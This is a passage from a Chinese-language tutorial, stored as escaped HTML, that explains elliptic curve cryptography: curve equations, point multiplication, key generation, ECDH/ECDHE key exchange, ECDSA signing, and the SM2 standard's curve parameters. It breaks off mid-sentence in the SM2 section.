&lt;h2 id=&quot;2-1-ecc&quot;&gt;2.1 ECC&lt;&#x2F;h2&gt;
&lt;p&gt;ECC就是&lt;code&gt;Elliptic Curve Cryptography&lt;&#x2F;code&gt;，&lt;code&gt;椭圆曲线密码学&lt;&#x2F;code&gt;，是一套主要用于密钥协商、数字签名以及非对称加密等场景下的密码学理论。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-1-tuo-yuan-qu-xian-yu-gong-si-yao&quot;&gt;2.1.1 椭圆曲线与公私钥&lt;&#x2F;h3&gt;
&lt;p&gt;首先ECC所谓的椭圆曲线在数学上就是一个数学方程式，该方程式对应一个椭圆曲线(并不是椭圆)，该曲线上的点由方程式决定。&lt;&#x2F;p&gt;
&lt;p&gt;一条椭圆曲线就是一组被&lt;code&gt;y^2 = x^3 + ax + b&lt;&#x2F;code&gt;定义的且满足公式&lt;code&gt;4a^3+27b^2!=0&lt;&#x2F;code&gt;的点集。这些点连接起来就是一条曲线，但这条曲线并不是一个椭圆，叫椭圆曲线是因为数学上具备椭圆的一些特征。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;y^2 = x^3 + ax + b&lt;&#x2F;code&gt;被称为椭圆曲线的维尔斯特拉斯标准形式(&lt;code&gt;Weierstrass Curve&lt;&#x2F;code&gt;)，而&lt;code&gt;4a^3+27b^2!=0&lt;&#x2F;code&gt;这个限定条件是为了保证曲线不包含&lt;code&gt;奇点(singularities)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;一条椭圆曲线，可能长成下面的样子(&lt;code&gt;a=-1.7, b=4.7&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-public-key&#x2F;ecc-elliptic-curve-plot.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;椭圆曲线&lt;&#x2F;p&gt;
&lt;p&gt;随着a,b参数的变化，椭圆曲线的样子也会不同:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-public-key&#x2F;elliptic-curve-parameter-variations.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;不同参数的椭圆曲线&lt;&#x2F;p&gt;
&lt;p&gt;所谓奇点就是不可导的点，此时a,b参数不满足&lt;code&gt;4a^3+27b^2!=0&lt;&#x2F;code&gt;，椭圆曲线变成了下面这样子:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-public-key&#x2F;singular-elliptic-curve.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;带奇点的椭圆曲线&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;ECC的椭圆曲线不能带有奇点，所以才有 4a^3+27b^2 !=&lt;&#x2F;strong&gt; &lt;strong&gt;0 这个限制条件。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在没有奇点的椭圆曲线上，有一种&lt;code&gt;打点&lt;&#x2F;code&gt;操作，是一种几何加法，可以通过曲线上的两个点计算得到第三个点，即&lt;code&gt;P + Q = R&lt;&#x2F;code&gt;，实际就是过&lt;code&gt;P&lt;&#x2F;code&gt;和&lt;code&gt;Q&lt;&#x2F;code&gt;的直线与椭圆曲线会相交于某一点，再对这一点其取曲线上的逆元&lt;code&gt;R&lt;&#x2F;code&gt;点，如下图所示:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-public-key&#x2F;ecc-point-addition-distinct.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;椭圆曲线加法_不同点相加&lt;&#x2F;p&gt;
&lt;p&gt;当&lt;code&gt;P&lt;&#x2F;code&gt;和&lt;code&gt;Q&lt;&#x2F;code&gt;重合时，即&lt;code&gt;P + P = R&lt;&#x2F;code&gt;，就是过P点的切线与椭圆曲线会相交于某一点，再对这一点其取曲线上的逆元&lt;code&gt;R&lt;&#x2F;code&gt;点，如下图所示:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-public-key&#x2F;ecc-point-doubling.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;椭圆曲线加法_相同点相加&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;打点&lt;&#x2F;code&gt;操作需要先在椭圆曲线上选择一个点作为基点&lt;code&gt;G&lt;&#x2F;code&gt;，从这个基点&lt;code&gt;G&lt;&#x2F;code&gt;开始，做&lt;code&gt;G&lt;&#x2F;code&gt;的累加操作，重复&lt;code&gt;d&lt;&#x2F;code&gt;次，就会最终得到椭圆曲线上的另一个点&lt;code&gt;H&lt;&#x2F;code&gt;，即:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;G + G + ... + G = d * G = H
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个过程在数学上简化记为 &lt;code&gt;H = d * G&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里的&lt;code&gt;*&lt;&#x2F;code&gt;不是自然数乘法，而是打点操作的乘法，即代表从&lt;code&gt;G&lt;&#x2F;code&gt;开始的打点操作重复了&lt;code&gt;d&lt;&#x2F;code&gt;次。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;例如&lt;code&gt;G * 4&lt;&#x2F;code&gt;的计算就如下图所示:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-public-key&#x2F;ecc-point-addition-gx4.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;椭圆曲线加法_G×4&lt;&#x2F;p&gt;
&lt;p&gt;打点次数&lt;code&gt;d&lt;&#x2F;code&gt;就是私钥，它是一个随机数；最终点&lt;code&gt;H&lt;&#x2F;code&gt;就是公钥，因为是曲线上的一个点，因此有&lt;code&gt;(x,y)&lt;&#x2F;code&gt;两个标量，通常组合成一个数字作为公钥存储和传输。&lt;&#x2F;p&gt;
&lt;p&gt;ECC保证安全的关键就在于，就算知道方程式，基点&lt;code&gt;G&lt;&#x2F;code&gt;，最终点&lt;code&gt;H&lt;&#x2F;code&gt;，也无法知道到底打点了多少次，即无法推算出私钥&lt;code&gt;d&lt;&#x2F;code&gt;，这个就对应数学上的&lt;code&gt;椭圆曲线离散对数难题(ECDLP)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;综上，在使用ECC生成公私钥时，需要先生成一个随机数作为打点次数&lt;code&gt;d&lt;&#x2F;code&gt;，然后就可以从基点&lt;code&gt;G&lt;&#x2F;code&gt;计算出公钥&lt;code&gt;H&lt;&#x2F;code&gt;。这样就生成了公私钥对。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;选取一个&lt;code&gt;[1, n-1]&lt;&#x2F;code&gt;之间的随机数&lt;code&gt;d&lt;&#x2F;code&gt;作为私钥，&lt;code&gt;n&lt;&#x2F;code&gt;即子群阶。(这里获取随机数时应使用&lt;code&gt;CSPRNG&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;通过&lt;code&gt;H=d*G&lt;&#x2F;code&gt;计算公钥。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;任意椭圆曲线都可以写为维尔斯特拉斯曲线形式，但除了维尔斯特拉斯曲线，实际上还有其他的椭圆曲线类型，比如蒙哥马利曲线(&lt;code&gt;Montgomery Curve&lt;&#x2F;code&gt;)、扭曲爱德华曲线(&lt;code&gt;Twisted Edwards Curve&lt;&#x2F;code&gt;)等。它们的方程式与维尔斯特拉斯曲线的方程式有所不同，但数学上都可以写为维尔斯特拉斯标准形式。当满足特定条件时，维尔斯特拉斯标准形式可以转换为这些特殊的椭圆曲线形式。
注意，当我们讨论ECC时，大部分情况下特指基于维尔斯特拉斯标准形式的椭圆曲线的相关算法。其他椭圆曲线形式及其相关算法虽然概念上也属于ECC范畴，但它们的算法与ECC相关算法并不完全相同。
这里生成公私钥的算法是基于维尔斯特拉斯标准形式的，其他椭圆曲线比如某些扭曲爱德华曲线的公私钥生成算法与ECC的公私钥生成算法并完全不相同。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;从ECC生成公私钥的过程中我们可以看到，ECC的公钥是由私钥推导计算得来，私钥一旦暴露，公钥也就暴露了，因此私钥不可以当作公钥使用。ECC的公钥和私钥在数学上是不一样的，不可以交换使用。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当然ECC不是只用来生成公私钥的，在签名与验签、密钥协商等场景中，还会基于它的&lt;code&gt;打点&lt;&#x2F;code&gt;操作进行公私钥生成以外的算法设计。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;目前除了&lt;code&gt;SM2&lt;&#x2F;code&gt;，并没有见到使用ECC实现的非对称加密算法，对ECC的使用主要还是数字签名与密钥协商算法。
ECC当然能够实现非对称加密，推测极少有人设计ECC非对称加密算法的原因，大概是非对称加密的效率很低，没有实际的应用场景。在加密通信场景，都是用密钥交换算法协商出一个或一组密钥，然后使用对称加密算法对消息进行加解密，这样的通信就同时具备安全与高效的特点。
RSA是个特殊情况，它虽然有非对称加密算法，但实际上似乎它的非对称加密算法只是在RSA密钥交换算法里使用。(RSA的密钥交换算法相当简陋，就是基于其非对称加密算法的简单使用，后续会简单介绍。) 而ECC的密钥交换算法在算法设计上与RSA完全不同，根本不需要像RSA那样先实现ECC的非对称加密。
另外还有一些资料，直接将某些椭圆曲线的密钥交换算法称为加密算法，我怀疑是RSA造成的误解: RSA的密钥交换算法就是使用其非对称加密算法，因此被人误解为所有的密钥交换算法都是非对称加密算法。。。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;2-1-2-eccxiang-guan-can-shu&quot;&gt;2.1.2 ECC相关参数&lt;&#x2F;h3&gt;
&lt;p&gt;ECC生成公私钥时需要先获取一个位于&lt;code&gt;[1, n-1]&lt;&#x2F;code&gt;之间的随机数作为私钥。很明显，这个随机数范围&lt;code&gt;n&lt;&#x2F;code&gt;越大越好，这个范围&lt;code&gt;n&lt;&#x2F;code&gt;实际上是ECC的一个参数，叫&lt;code&gt;子群的阶n&lt;&#x2F;code&gt;，它是由另一个参数&lt;code&gt;素数P&lt;&#x2F;code&gt;通过一定的计算推导出来的。&lt;&#x2F;p&gt;
&lt;p&gt;即，椭圆曲线除了方程式参数&lt;code&gt;a&lt;&#x2F;code&gt;、&lt;code&gt;b&lt;&#x2F;code&gt;以及基点&lt;code&gt;G&lt;&#x2F;code&gt;，还有另外两个重要的参数&lt;code&gt;素数P&lt;&#x2F;code&gt;和&lt;code&gt;子群的阶n&lt;&#x2F;code&gt;，它们决定了一条椭圆曲线上的哪些点可以在ECC相关算法中使用:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;素数P&lt;&#x2F;code&gt; : ECC不是直接使用椭圆曲线上的点，而是将方程式对一个&lt;code&gt;素数P&lt;&#x2F;code&gt;进行模运算来转换成一个有限域 : &lt;code&gt;y^2 ≡ x^3 + ax + b (mod P) , x,y ∈ [0, P]&lt;&#x2F;code&gt;，这个有限域的元素的个数就是&lt;code&gt;P&lt;&#x2F;code&gt;，&lt;code&gt;P&lt;&#x2F;code&gt;是一个素数。这个方程的意思是，&lt;code&gt;y^2&lt;&#x2F;code&gt;和&lt;code&gt;(x^3 + ax + b)&lt;&#x2F;code&gt;对&lt;code&gt;P&lt;&#x2F;code&gt;同余， 即它们对&lt;code&gt;P&lt;&#x2F;code&gt;做求模运算的结果是一样的。在求模之前，椭圆曲线上的点坐标，y值是相对x轴(y=0)这条线对称的，求模转换之后，曲线上的点的坐标，y值相对&lt;code&gt;y=P&#x2F;2&lt;&#x2F;code&gt;这条线对称。此时椭圆曲线变成了一些离散的点，它们可能是这样子的:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-public-key&#x2F;ecc-finite-field-points.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ECC子群&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;子群阶n&lt;&#x2F;code&gt; : 素数&lt;code&gt;P&lt;&#x2F;code&gt;求模运算的结果是一个比椭圆曲线上所有点更小的数集，叫做&lt;code&gt;群&lt;&#x2F;code&gt;，然后曲线上从基点&lt;code&gt;G&lt;&#x2F;code&gt;开始的&lt;code&gt;打点&lt;&#x2F;code&gt;操作会生成一个更小的&lt;code&gt;子群&lt;&#x2F;code&gt;。这个子群中元素的个数，就是&lt;code&gt;子群的阶n&lt;&#x2F;code&gt;。对ECC来说，总是希望子群拥有更高的阶。实际上是先计算椭圆曲线的阶N，找一个比较大的因子n，然后根据n找出一个合适的基准点。也就是说，实际在寻找合适的椭圆曲线参数时，是先找子群的阶，再根据子群的阶找其中的基准点。而不是先找基准点，再算子群的阶。在计算基点时，除了N还用到了另一个参数:&lt;code&gt;子群的协因子&lt;&#x2F;code&gt;(&lt;code&gt;cofactor&lt;&#x2F;code&gt;), 通常简写为&lt;code&gt;h&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;综上，一般来说，一个ECC会有以下6个参数:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;a&lt;&#x2F;code&gt; : 椭圆曲线方程参数a&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;b&lt;&#x2F;code&gt; : 椭圆曲线方程参数b&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;p&lt;&#x2F;code&gt; : 一个素数，椭圆曲线上的有限域的大小&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;n&lt;&#x2F;code&gt; : 子群的阶，即子群的大小&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;xg&lt;&#x2F;code&gt; : 基点G的x轴坐标&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;yg&lt;&#x2F;code&gt; : 基点G的y轴坐标&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-1-3-chang-jian-de-tuo-yuan-qu-xian&quot;&gt;2.1.3 常见的椭圆曲线&lt;&#x2F;h3&gt;
&lt;p&gt;设计某个ECC时，需要先设计一条安全的椭圆曲线，然后选择一个基点&lt;code&gt;G&lt;&#x2F;code&gt;。这种曲线通常并不是自己设计的，因为设计上要满足上述特性很有难度。&lt;&#x2F;p&gt;
&lt;p&gt;目前国际上常用的ECC曲线主要是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=213103800&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=NIST%E7%B3%BB%E5%88%97%E6%9B%B2%E7%BA%BF&amp;amp;zhida_source=entity&quot;&gt;NIST系列曲线&lt;&#x2F;a&gt;，它是由美国的国家标准技术研究所制定的系列ECC曲线，包括&lt;code&gt;P-256&lt;&#x2F;code&gt;、&lt;code&gt;P-384&lt;&#x2F;code&gt;、&lt;code&gt;P-521&lt;&#x2F;code&gt;等等，目前被业界怀疑植入了后门。&lt;&#x2F;p&gt;
&lt;p&gt;我国的国家标准也推出了自己的ECC曲线: &lt;code&gt;SM2-P-256&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;此外，由于大家都怀疑NIST，很多语言和开源社区都在推动&lt;code&gt;Curve25519&lt;&#x2F;code&gt;、&lt;code&gt;Curve448&lt;&#x2F;code&gt;等并非基于维尔斯特拉斯标准形式的椭圆曲线，所以现在越来越多的语言都内置了&lt;code&gt;Curve25519&lt;&#x2F;code&gt;的实现，比如golang的&lt;code&gt;crypto&#x2F;ed25519&lt;&#x2F;code&gt;包，java对&lt;code&gt;Ed25519&lt;&#x2F;code&gt;的支持等等。&lt;&#x2F;p&gt;
&lt;p&gt;著名的开源ssl工具&lt;code&gt;openssl&lt;&#x2F;code&gt;支持很多种椭圆曲线，可以用命令&lt;code&gt;openssl ecparam -list_curves&lt;&#x2F;code&gt;查看openssl支持的ECC椭圆曲线，其中:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;prime256v1&lt;&#x2F;code&gt;对应NIST的&lt;code&gt;P-256&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;secp384r1&lt;&#x2F;code&gt;对应NIST的&lt;code&gt;P-384&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;secp521r1&lt;&#x2F;code&gt;对应NIST的&lt;code&gt;P-521&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;SM2&lt;&#x2F;code&gt;对应中国国家标准的&lt;code&gt;SM2-P-256&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;openssl也支持&lt;code&gt;Curve25519&lt;&#x2F;code&gt;等非维尔斯特拉斯标准形式曲线，但无法在上述命令结果中找到，可以使用&lt;code&gt;openssl genpkey -algorithm x25519&lt;&#x2F;code&gt;命令生成一个使用&lt;code&gt;Curve25519&lt;&#x2F;code&gt;曲线的私钥。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;本篇笔记使用的openssl版本: &lt;code&gt;OpenSSL 3.0.1&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;2-2-ji-yu-eccde-mi-yao-jiao-huan-suan-fa-ecdhyu-ecdhe&quot;&gt;2.2 基于ECC的密钥交换算法ECDH与ECDHE&lt;&#x2F;h2&gt;
&lt;p&gt;ECDH是&lt;code&gt;Elliptic Curve Diffie-Hellman&lt;&#x2F;code&gt;，它一种基于ECC的密钥协商算法。&lt;&#x2F;p&gt;
&lt;p&gt;ECDH是&lt;code&gt;笛福赫尔曼(Diffie-Hellman)算法&lt;&#x2F;code&gt;的变种，它是一种密钥协商协议，定义了密钥怎么样在通信双方之间生成和交换。其思路过程与笛福赫尔曼密钥协商算法基本相同，只是在具体的协商计算中使用ECC。因此我们直接学习&lt;code&gt;ECDH&lt;&#x2F;code&gt;也就相当于学习了&lt;code&gt;笛福赫尔曼(Diffie-Hellman)算法&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;ECDH的过程如下:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;A和B生成各自的私钥和公钥，A的私钥为&lt;code&gt;da&lt;&#x2F;code&gt;，公钥为&lt;code&gt;Ha&lt;&#x2F;code&gt; 。B的私钥为&lt;code&gt;db&lt;&#x2F;code&gt;，公钥为&lt;code&gt;Hb&lt;&#x2F;code&gt;。注意，A和B需要使用同样的&lt;code&gt;椭圆曲线&lt;&#x2F;code&gt;与基点&lt;code&gt;G&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;A和B通过不安全信道交换各自的公钥&lt;code&gt;Ha&lt;&#x2F;code&gt;和&lt;code&gt;Hb&lt;&#x2F;code&gt;，中间人可以窃听到&lt;code&gt;Ha&lt;&#x2F;code&gt;和&lt;code&gt;Hb&lt;&#x2F;code&gt;，但是在无法攻破离散对数难题的情况下无法得到&lt;code&gt;da&lt;&#x2F;code&gt;和&lt;code&gt;db&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;A计算&lt;code&gt;S=da*Hb&lt;&#x2F;code&gt;（使用自身的私钥和 B 的公钥），B计算&lt;code&gt;S=db*Ha&lt;&#x2F;code&gt;（使用自身的私钥和 A 的公钥），双方求得的 &lt;code&gt;S&lt;&#x2F;code&gt; 是一样的，因为&lt;code&gt;S=da*Hb=da*(db*G)=db*(da*G)=db*Ha&lt;&#x2F;code&gt;。&lt;code&gt;S&lt;&#x2F;code&gt;就是双方协商好的新密钥。这里的&lt;code&gt;*&lt;&#x2F;code&gt;依然是打点操作的乘法。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这个过程可以用下图表示:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-public-key&#x2F;ecdh-key-exchange.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ECDHE&lt;&#x2F;code&gt;是基于&lt;code&gt;ECDH&lt;&#x2F;code&gt;添加了动态功能的密钥协商算法。&lt;code&gt;ECHDE&lt;&#x2F;code&gt; 中的 &lt;code&gt;E&lt;&#x2F;code&gt; 代表着&lt;code&gt;ephemeral&lt;&#x2F;code&gt;, 短暂的，是指交换的密钥是暂时的动态的，而不是固定的静态的。比如tls协议中，每次建立新连接时，服务器和客户端都会动态生成新的公私钥，这些动态的公钥通过&lt;code&gt;ECDH&lt;&#x2F;code&gt;进行交换，之后会用于双方协商预主密钥，进而生成会话密钥。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-3-ji-yu-eccde-qian-ming-suan-fa-ecdsa&quot;&gt;2.3 基于ECC的签名算法ECDSA&lt;&#x2F;h2&gt;
&lt;p&gt;ECDSA是&lt;code&gt;Elliptic Curve Digital Signature Algorithm&lt;&#x2F;code&gt;，基于椭圆曲线的数字签名算法。&lt;&#x2F;p&gt;
&lt;p&gt;ECDSA在基于ECC生成公私钥对之后，使用私钥签名，使用公钥验签。&lt;&#x2F;p&gt;
&lt;p&gt;前提：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;基于ECC生成公私钥对：私钥&lt;code&gt;d&lt;&#x2F;code&gt;、公钥&lt;code&gt;H&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;对签名内容进行散列摘要，得到 &lt;code&gt;z&lt;&#x2F;code&gt;。事先做摘要的目的主要是在确保内容唯一性的前提下，减少签名内容，降低私钥签名运算消耗，减少签名结果长度。(通常签名内容越长，签名结果也就越长。)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;签名过程(注意签名使用的是私钥&lt;code&gt;d&lt;&#x2F;code&gt;，不使用公钥&lt;code&gt;H&lt;&#x2F;code&gt;)：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;选取一个&lt;code&gt;[1, n-1]&lt;&#x2F;code&gt;之间的随机数&lt;code&gt;k&lt;&#x2F;code&gt;，n是&lt;code&gt;子群的阶n&lt;&#x2F;code&gt;，随机数算法建议使用CSPRNG，注意这里的&lt;code&gt;k&lt;&#x2F;code&gt;不是私钥。&lt;&#x2F;li&gt;
&lt;li&gt;通过打点操作&lt;code&gt;P = k * G&lt;&#x2F;code&gt;计算曲线上的另一个点&lt;code&gt;P&lt;&#x2F;code&gt;，G是曲线基点，注意&lt;code&gt;P&lt;&#x2F;code&gt;不是公钥。&lt;&#x2F;li&gt;
&lt;li&gt;计算数字&lt;code&gt;r = P(x) mod n&lt;&#x2F;code&gt;，&lt;code&gt;P(x)&lt;&#x2F;code&gt;是&lt;code&gt;P&lt;&#x2F;code&gt;的x轴座标，如果&lt;code&gt;r&lt;&#x2F;code&gt;为0，则重新选取随机数&lt;code&gt;k&lt;&#x2F;code&gt;，再来一次。&lt;&#x2F;li&gt;
&lt;li&gt;利用私钥&lt;code&gt;d&lt;&#x2F;code&gt;，对签名内容的摘要&lt;code&gt;z&lt;&#x2F;code&gt;做计算: &lt;code&gt;s = (k^-1)(z + rd) mod n&lt;&#x2F;code&gt;，如果&lt;code&gt;s&lt;&#x2F;code&gt;为0，则重新选取随机数&lt;code&gt;k&lt;&#x2F;code&gt;，再来一次。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;(r,s)&lt;&#x2F;code&gt;就是签名。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;验签过程(注意验签使用的是公钥&lt;code&gt;H&lt;&#x2F;code&gt;，不使用私钥&lt;code&gt;d&lt;&#x2F;code&gt;)：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;计算整数 &lt;code&gt;u1 = (s^-1)z mod n&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;计算整数 &lt;code&gt;u2 = (s^-1)r mod n&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;计算点&lt;code&gt;P = u1 * G + u2 * H&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;判断 &lt;code&gt;r == P(x) mod n&lt;&#x2F;code&gt; ，相等则验证成功&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;san-sm2xiang-guan-suan-fa&quot;&gt;三、SM2相关算法&lt;&#x2F;h2&gt;
&lt;p&gt;SM2是我国国家标准的基于维尔斯特拉斯标准形式椭圆曲线的公钥密码学算法，可以参考国标&lt;code&gt;GB&#x2F;T 32918.1-2016&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;SM2也是一种ECC，选择了一条自己的曲线&lt;code&gt;SM2-P-256&lt;&#x2F;code&gt;，并在此基础上，提供了数字签名、密钥交换与非对称加密算法。具体可以参考国家标准文档:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;openstd.samr.gov.cn&#x2F;bzgk&#x2F;gb&#x2F;std_list%3Fp.p1%3D0%26p.p90%3Dcirculation_date%26p.p91%3Ddesc%26p.p2%3DGB&#x2F;T%252032918&quot;&gt;https:&#x2F;&#x2F;openstd.samr.gov.cn&#x2F;bzgk&#x2F;gb&#x2F;std_list?p.p1=0&amp;amp;p.p90=circulation_date&amp;amp;p.p91=desc&amp;amp;p.p2=GB&#x2F;T%2032918&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;相关标准分别是:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;GB&#x2F;T 32918.1-2016 SM2椭圆曲线公钥密码算法 第1部分：总则 (发布日期:2016-08-29)&lt;&#x2F;li&gt;
&lt;li&gt;GB&#x2F;T 32918.2-2016 SM2椭圆曲线公钥密码算法 第2部分：数字签名算法 (发布日期:2016-08-29)&lt;&#x2F;li&gt;
&lt;li&gt;GB&#x2F;T 32918.3-2016 SM2椭圆曲线公钥密码算法 第3部分：密钥交换协议 (发布日期:2016-08-29)&lt;&#x2F;li&gt;
&lt;li&gt;GB&#x2F;T 32918.4-2016 SM2椭圆曲线公钥密码算法 第4部分：公钥加密算法 (发布日期:2016-08-29)&lt;&#x2F;li&gt;
&lt;li&gt;GB&#x2F;T 32918.5-2017 SM2椭圆曲线公钥密码算法 第5部分：参数定义 (发布日期:2017-05-12)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;公钥加密算法即非对称加密算法。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;3-1-sm2tuo-yuan-qu-xian-yu-gong-si-yao&quot;&gt;3.1 SM2椭圆曲线与公私钥&lt;&#x2F;h2&gt;
&lt;p&gt;SM2的椭圆曲线方程采用维尔斯特拉斯标准形式： &lt;code&gt;y^2 = x^3 + ax + b&lt;&#x2F;code&gt; 且 &lt;code&gt;4a^3+27b^2!=0&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;SM2选择如下的曲线参数，即，SM2设计了一条自己的曲线：&lt;code&gt;SM2-P-256&lt;&#x2F;code&gt;，一个素数域256位椭圆曲线。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;p=FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF
a=FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC
b=28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93
n=FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
Gx=32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7
Gy=BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里有个数学上的优化：
本来按照标准给定的参数&lt;code&gt;a&lt;&#x2F;code&gt;的值是&lt;code&gt;FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC&lt;&#x2F;code&gt;，
